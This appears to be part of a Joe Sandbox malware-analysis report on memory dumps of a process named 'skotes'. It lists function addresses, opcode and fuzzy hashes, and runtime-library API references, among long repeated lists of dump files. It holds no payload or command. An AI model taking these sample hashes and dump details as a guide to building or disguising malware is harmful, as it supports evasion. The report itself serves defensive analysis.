Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: ed770382cfb9f88730cb89880fe6a381ff49a9c67791c850fd9301ece7611ea7
Instruction ID: c832446330c62436e30eedf28f89c2f942486cad98a16484ae46aeaddf61b233
Opcode Fuzzy Hash: ed770382cfb9f88730cb89880fe6a381ff49a9c67791c850fd9301ece7611ea7
Instruction Fuzzy Hash: E541D270608210ABCF19AB24C896BADBBF5EF46320F0440D9E5079B782DF70AD45C7A1

Function 00BA56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00BA56F2
_InternalDeleteHelper.LIBCONCRT ref: 00BA5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00BA578B
SafeRWList.LIBCONCRT ref: 00BA579A

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: a7b544b9e10318d5654725a5f35235f9512f4efd2ea55be67b2176f218d972c4
Instruction ID: b56fadaeb29eccebdf2a4afefb620e16ec4dbf273f64003f548ec7842692b085
Opcode Fuzzy Hash: a7b544b9e10318d5654725a5f35235f9512f4efd2ea55be67b2176f218d972c4
Instruction Fuzzy Hash: A131F8367056149FDF159F20C881BADB7E6EFC6710F1481B9E90AAB355DF306D058790

Function 00BA2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00BA2D0F

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 831e09b33a30e144b0e3e2e46406ab3530d4a91ed61e16215c8304a8b72c6bfa
Instruction ID: 5d6bea98ade6ee7605e096fec04c0c23012cd6bc9ef045421d7c2e2e11abdb3a
Opcode Fuzzy Hash: 831e09b33a30e144b0e3e2e46406ab3530d4a91ed61e16215c8304a8b72c6bfa
Instruction Fuzzy Hash: C0313875A04309DFCF14EF98C9C0AAEBBF9EB46310F1404EAD941AB346D730A945DBA0

Function 00BB13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BB13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00BB1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00BB147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00BB152A

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 70b2b457138247b1d4ae5f1a453a102399d32cb0f42e469fd27681421a5041a0
Instruction ID: 2453d08938f43a5da0f41a470527e1440f9bee8c63c9ebe146da1cadde72c3e2
Opcode Fuzzy Hash: 70b2b457138247b1d4ae5f1a453a102399d32cb0f42e469fd27681421a5041a0
Instruction Fuzzy Hash: C7318D71A006069BCF14EFA9C4919EDFBF1BF48710B5486ADE416A7391DB74AA01CB90

Function 00B9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BBE4
_xtime_get.LIBCPMT ref: 00B9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B9BC13

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction ID: 592f2f7214de587e357e006ea6b28f9e90db438ae3c0b7f788d8437b7c4a2a1a
Opcode Fuzzy Hash: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction Fuzzy Hash: E3213175A01119AFDF00EFA4DD81EBEBBB9EF08710F1000A5F501B7291DB309D059BA0

Function 00BA9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BA9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00BA9CE8
std::bad_exception::bad_exception.LIBCMT ref: 00BA9CFE
std::bad_exception::bad_exception.LIBCMT ref: 00BA9D6A

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

